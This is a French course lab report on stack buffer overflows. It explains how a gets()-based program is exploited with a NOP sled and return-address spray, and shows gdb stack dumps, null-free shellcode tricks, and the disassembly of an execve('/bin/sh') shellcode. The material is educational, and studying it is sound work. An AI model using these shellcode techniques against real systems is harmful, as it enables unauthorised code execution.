323 lines
11 KiB
Markdown
323 lines
11 KiB
Markdown
---
|
||
title: "Sécurité logicielle : TD5 stack overflow et shellcode"
|
||
date: 2023-02-17
|
||
lastmod: 2023-03-30
|
||
tags: ["Assembleur", "x86"]
|
||
author:
|
||
- Yorick Barbanneau
|
||
- Gwendal Aupee
|
||
categories: ["Sécurité logicielle", "TD"]
|
||
---
|
||
|
||
## Partie 1
|
||
|
||
Avec l'aide de `pframe`, nous pouvons voir que lorsque notre boucle itère pour
|
||
la onzième fois, l'affectation `t[11]` écrase `i` et le remet à 0. A ce moment
|
||
notre boucle reviens à départ; une boucle infinie se produit alors. C'est la
|
||
conséquence du *buffer overflow* causée par une mauvaise maitrise des boucles et
|
||
variables associées.
|
||
|
||
En effet en prenant en compte le 0 comme index de tableau, la boucle `for (i=0;
|
||
i<=N; i++)` itère 12 fois et non 11. La condition devrait être `i<N`.
|
||
|
||
## Partie 2
|
||
|
||
### question 1 et 2
|
||
|
||
Le code d'`anodin` contient l'appel à `gets`. Cette fonction est déconseillée
|
||
car elle ne prend pas en paramètres **le nombre d'octets maximal à lire**. Il
|
||
est ainsi aisé de réaliser une attaque par **dépassement de tampon**:
|
||
L'utilisateur saisie plus de donnée que la taille de la variable qui les reçoit.
|
||
|
||
Pour `exploit`, le code vu en cours est repris dans cet exemple. Nous sommes
|
||
cependant en présence de code *C* avec du code assembleur directement écrit en
|
||
*hexadécimal*.
|
||
|
||
L'exploit est prévu pour fonctionner en assembleur x86_32 et x86_64 avec la
|
||
présence d'une macro afin de positionner les instructions adaptée dans la
|
||
variable `exploit`:
|
||
|
||
```c
|
||
unsigned char exploit[1024] = {
|
||
#ifdef __x86_64__
|
||
/* 64 bit version */
|
||
// [...]
|
||
0x0f, 0x05, // system call!
|
||
#else
|
||
/* 32 bit version */
|
||
// [...]
|
||
0xcd, 0x80, // system call!
|
||
#endif
|
||
};
|
||
```
|
||
|
||
### question 4
|
||
|
||
Lors de l'exécution de notre attaque et en l'observant avec gdb, nous pouvons
|
||
clairement les éléments de notre attaque : les éléments de la pile contenant les
|
||
adresses vers notre *shellcode*, les padding avec des `nop` et le *shellcode*.
|
||
|
||
Avant la saisir par l'utilisateur dans `anodin` voici la pile:
|
||
|
||
```
|
||
0x7fffffffe520 0x00007fffffffe610
|
||
0x7fffffffe518 0x00007ffff7dff18a
|
||
0x7fffffffe510 0x0000000000000001
|
||
0x7fffffffe508 ... 0x00007ffff7ffdad0
|
||
0x7fffffffe500 arg3 0x0000000000000000
|
||
0x7fffffffe4f8 arg2 0x00000001f7fe6e10
|
||
0x7fffffffe4f0 arg1 0x00007fffffffe628
|
||
0x7fffffffe4e8 ret@ 0x00005555555551e8
|
||
0x7fffffffe4e0 bp 0x00007fffffffe510
|
||
0x7fffffffe4d8 0x0000000000000000
|
||
0x7fffffffe4d0 0x0000000000000000
|
||
0x7fffffffe4c8 0x0000000000000000
|
||
0x7fffffffe4c0 0x0000000000000000
|
||
0x7fffffffe4b8 0x0000000000000000
|
||
0x7fffffffe4b0 0x0000000000000040
|
||
0x7fffffffe4a8 0x000000000000000c
|
||
0x7fffffffe4a0 0x0000000000000000
|
||
0x7fffffffe498 0x0000000000000040
|
||
0x7fffffffe490 sp 0x0000000000000004
|
||
0x7fffffffe488 0x00005555555551af
|
||
0x7fffffffe480 0x00007fffffffe4e0
|
||
```
|
||
|
||
Après la saisie l'utilisateur, et donc **l'injection du code par `exploit`** la
|
||
pile a un tout autre aspect. On voit bien l'action de la "*mitraillette*" sur
|
||
le bas de la pile avec l'adresse de retour.
|
||
|
||
```
|
||
0x7fffffffe520 0x0000000000000000
|
||
0x7fffffffe518 0x0000000000000000
|
||
0x7fffffffe510 0x0000000000000000
|
||
0x7fffffffe508 0x00007fffffffe498
|
||
0x7fffffffe500 0x00007fffffffe498
|
||
0x7fffffffe4f8 0x00007fffffffe498
|
||
0x7fffffffe4f0 0x00007fffffffe498
|
||
0x7fffffffe4e8 ret@ 0x00007fffffffe498
|
||
0x7fffffffe4e0 bp 0x00007fffffffe498
|
||
0x7fffffffe4d8 0x00007fffffffe498
|
||
0x7fffffffe4d0 0x00007fffffffe498 ; mitraillette enclenchée!
|
||
0x7fffffffe4c8 0x0000000000000000
|
||
0x7fffffffe4c0 0x0000000000000000
|
||
0x7fffffffe4b8 0x050fe6894857e289
|
||
0x7fffffffe4b0 0x48006a0000003bc0
|
||
0x7fffffffe4a8 0xc7485f0068732f6e
|
||
0x7fffffffe4a0 0x69622f00000008e8 ; début de notre shellcode
|
||
0x7fffffffe498 0x9090909090909090 ; nop
|
||
0x7fffffffe490 sp 0x9090909090909090 ; nop
|
||
0x7fffffffe488 0x00005555555551c0
|
||
0x7fffffffe480 0x00007fffffffe638
|
||
; [...]
|
||
```
|
||
|
||
On voit aussi apparaitre notre *Instruction Pointer* dans la pile lorsque notre
|
||
shellcode est exécuté. Les différents paramètres pour **l'appel système** se
|
||
mettent alors en places.
|
||
|
||
```
|
||
0x7fffffffe4f0 sp 0x00007fffffffe498
|
||
0x7fffffffe4e8 0x00007fffffffe498
|
||
0x7fffffffe4e0 0x00007fffffffe498
|
||
0x7fffffffe4d8 0x00000000ffffe498
|
||
0x7fffffffe4d0 0x00007fffffffe498
|
||
0x7fffffffe4c8 0x0000000000000000
|
||
0x7fffffffe4c0 0x0000000000000000
|
||
0x7fffffffe4b8 0x050fe6894857e289
|
||
0x7fffffffe4b0 0x48006a0000003bc0
|
||
0x7fffffffe4a8 0xc7485f0068732f6e
|
||
0x7fffffffe4a0 0x69622f00000008e8
|
||
0x7fffffffe498 ip bp 0x9090909090909090
|
||
0x7fffffffe490 0x9090909090909090
|
||
0x7fffffffe488 0x00005555555551cc
|
||
0x7fffffffe480 0x0000000000000003
|
||
```
|
||
|
||
Voici les éléments de notre `exploit` qui se retrouvent dans la pile, les
|
||
différentes parties sont délimitées par des crochets:
|
||
|
||
```
|
||
0x7fffffffe4b8 0x[050f] e6894857e289 ; 4
|
||
0x7fffffffe4b0 0x48006a000000 [3b] c0 ; 3
|
||
0x7fffffffe4a8 0xc7485f0068732f6e
|
||
0x7fffffffe4a0 0x69622f [00000008e8] ; 2
|
||
0x7fffffffe498 ip bp 0x9090909090909090 ; 1
|
||
```
|
||
|
||
1. piste d'atterrissage de l'exploit preparée avec des `nop`
|
||
2. placement en mémoire de notre chaine `/bin/sh`
|
||
3. le numéro d'appel système pour `execve` (59 ou *0x3b*)
|
||
4. lancement de notre appel système
|
||
|
||
Lors de l'instruction pas à pas du code assembleur, nous pouvons observer la
|
||
mise en place des arguments de notre appel système dans les différents
|
||
registres, notamment *0x3b* dans `rax` et le chemin complets vers `sh` depuis
|
||
la pile vers `%rdi`
|
||
|
||
## Partie 3
|
||
|
||
Lors de l'exécution du `strace` sur notre exécutable `shellcode` nous voyons
|
||
bien apparaitre les deux appels systèmes `creat` et `exit`:
|
||
|
||
```
|
||
execve("./shellcode", ["./shellcode"], 0x7ffd7e08f160 /* 44 vars */) = 0
|
||
creat("/tmp/pwn", 0666) = 3
|
||
exit(42) = ?
|
||
+++ exited with 42 +++
|
||
```
|
||
|
||
L'exécution d'`objdumb -d -x` afin d'afficher les adresses des constantes nous
|
||
permet de vois que c'est bien l'adresse de `filename` qui est placée dans `%rdi`
|
||
avant d'appeler `creat` (appel système `0x55`).
|
||
|
||
```
|
||
[...]
|
||
SYMBOL TABLE:
|
||
0000000000402000 g .data 0000000000000000 filename
|
||
0000000000401000 g .text 0000000000000000 _start
|
||
0000000000402009 g .data 0000000000000000 __bss_start
|
||
0000000000402009 g .data 0000000000000000 _edata
|
||
0000000000402010 g .data 0000000000000000 _end
|
||
|
||
Déassemblage de la section .text :
|
||
|
||
0000000000401000 <_start>:
|
||
401000: 48 c7 c6 b6 01 00 00 mov $0x1b6,%rsi
|
||
401007: 48 c7 c7 00 20 40 00 mov $0x402000,%rdi
|
||
40100e: 48 c7 c0 55 00 00 00 mov $0x55,%rax
|
||
401015: 0f 05 syscall
|
||
401017: 48 c7 c7 2a 00 00 00 mov $0x2a,%rdi
|
||
40101e: 48 c7 c0 3c 00 00 00 mov $0x3c,%rax
|
||
401025: 0f 05 syscall
|
||
```
|
||
|
||
Une fois `shellcode.S` modifié et compilé, nous avons extrait les **opcodes**
|
||
avec une cible de notre `Makefile`. Cette cible créée un fichier `opcode.txt`
|
||
prêt à importer dans notre code `C`[^opcode].
|
||
|
||
Avec cette méthode, nous n'avons pas à nous soucier de *l'abréviation* des 0
|
||
par `objdump`. Et en plus on évite les erreurs de saisie.
|
||
|
||
Nous avons ensuite modifié notre *shellcode* afin de banir `\0` -- il ne
|
||
contenait pas de `\n` -- avec les astuces suivantes:
|
||
|
||
* Utiliser la séquence `jmp`, `call`, `pop`. L'adresse du `call` est ainsi
|
||
négative et ne contient pas de 0.
|
||
* Utiliser `xor` sur un registre vers lui même afin de l'initialiser à 0
|
||
* Utiliser la pile pour affecter des valeurs à nos registres
|
||
```asm
|
||
push $0xabcd
|
||
pop %rsi
|
||
```
|
||
* Pour des valeurs contenant 0 (mais pas `f`), utiliser le complément à deux,
|
||
par exemple pour 0666:
|
||
```asm
|
||
pop %rdi
|
||
push $0xfffffffffffffe4b
|
||
xor %rsi, %rsi
|
||
pop %rsi
|
||
neg %rsi
|
||
```
|
||
* Pour les valeurs contenant des 0, utiliser des opérations arithmétiques pour
|
||
les calculer
|
||
```asm
|
||
# put 61 in %rax
|
||
push $61
|
||
pop %rax
|
||
# minus 1, we've got 60 (exit syscall number)
|
||
lea -1(%rax), %rax
|
||
```
|
||
Pour sa soustraction ou l'addition, on utilise `lea`.
|
||
* Utiliser `.ascii` à la place de `asciz`, ainsi notre chaine ne contient pas
|
||
`\0` à la fin.
|
||
|
||
Après l'incorporation de notre *shellcode* dans le fichier `exploit.c`, sa
|
||
compilation et son exécution, le fichier `/tmp/pwn` est bien créé.
|
||
|
||
[^opcode]: enfin quasiment, notre cible n'est pas parfaite et il faut supprimer
|
||
quelques éléments à la fin de la séquence
|
||
|
||
## Partie 4
|
||
|
||
Voici le code assembleur obtenu d'après les opcodes:
|
||
|
||
```asm
|
||
xor %eax,%eax
|
||
movabs $0xff978cd091969dd1,%rbx
|
||
neg %rbx
|
||
push %rbx
|
||
push %rsp
|
||
pop %rdi
|
||
cltd
|
||
push %rdx
|
||
push %rdi
|
||
push %rsp
|
||
pop %rsi
|
||
mov $0x3b,%al
|
||
syscall
|
||
```
|
||
|
||
Notre *shellcode* commence par initialiser `%eax` à 0 en faisant un `xor` - *ou
|
||
exclusif* sur lui-même. Plus il place `$0xff978cd091969dd1` sans `%rbx`. Ceci
|
||
est en fait une chaine de caractère qui sera dévoilée lors de la prochaine
|
||
instruction.
|
||
|
||
Celle ci est en fait `/bin/sh` suivi de `/0` donnée par `neg %rbx`.
|
||
Cette instruction réalise un complément à deux sur le registre en paramètre.
|
||
|
||
`%rbx` est ensuite poussé sur la pile tout comme notre pointeur de pile.
|
||
|
||
Le contenu pointé par le pointeur de pile (l'adresse de notre chaine)
|
||
est passé au registre `%rdi` et la pile remonte d'un cran (`pop`).
|
||
|
||
Le mnémonique `cltd` étends le bit de poids fort d'`%eax` dans `%edx`. Il est
|
||
question ici d'initialiser `%edx` à 0.
|
||
|
||
`%rdx` est ensuite poussé sur la pile, puis `%rdi` et notre pointeur de pile.
|
||
Voici d'ailleurs à quoi ressemble cette dernière:
|
||
|
||
```
|
||
[...]
|
||
0x7fffffffe538 0x0068732f6e69622f
|
||
0x7fffffffe530 0x0000000000000000
|
||
0x7fffffffe528 0x00007fffffffe538
|
||
0x7fffffffe520 sp 0x00007fffffffe528
|
||
[...]
|
||
```
|
||
Enfin `0x3b` est positionné dans `al` (appel système `execve`) et notre appel
|
||
est lance avec `syscall`. Voici l'état des registres au moment de notre
|
||
`syscall` :
|
||
|
||
```
|
||
rax 0x3b 59
|
||
rbx 0x68732f6e69622f 29400045130965551
|
||
rcx 0x0 0
|
||
rdx 0x0 0
|
||
rsi 0x7fffffffe528 140737488348456
|
||
rdi 0x7fffffffe538 140737488348472
|
||
rbp 0x0 0x0
|
||
rsp 0x7fffffffe528 0x7fffffffe528
|
||
```
|
||
|
||
Et l'état de notre pile :
|
||
|
||
```
|
||
[...]
|
||
0x7fffffffe548 0x00007fffffffe87d
|
||
0x7fffffffe540 0x0000000000000001
|
||
0x7fffffffe538 0x0068732f6e69622f
|
||
0x7fffffffe530 0x0000000000000000
|
||
0x7fffffffe528 sp 0x00007fffffffe538
|
||
0x7fffffffe520 0x00007fffffffe528
|
||
[...]
|
||
```
|
||
|
||
Notre *shellcode* lance donc `/bin/sh`. Comme défini dans l'ABI Linux, notre appel
|
||
système utilise `%rdi` comme premier paramètre, celui-ci contient l'adresse de
|
||
`/bin/sh` sur la pile. Le second paramètre, un pointeur vers le tableau des
|
||
arguments d'`execve` est contenu dans `%rsi`. Le dernier argument est passé par
|
||
`%rdx` : 0.
|
||
|
||
Dans ce *shellcode*, tout est fait pour ne pas avoir de caractère `/0` et `/n`
|
||
afin de passer `gets` et `strcpy`.
|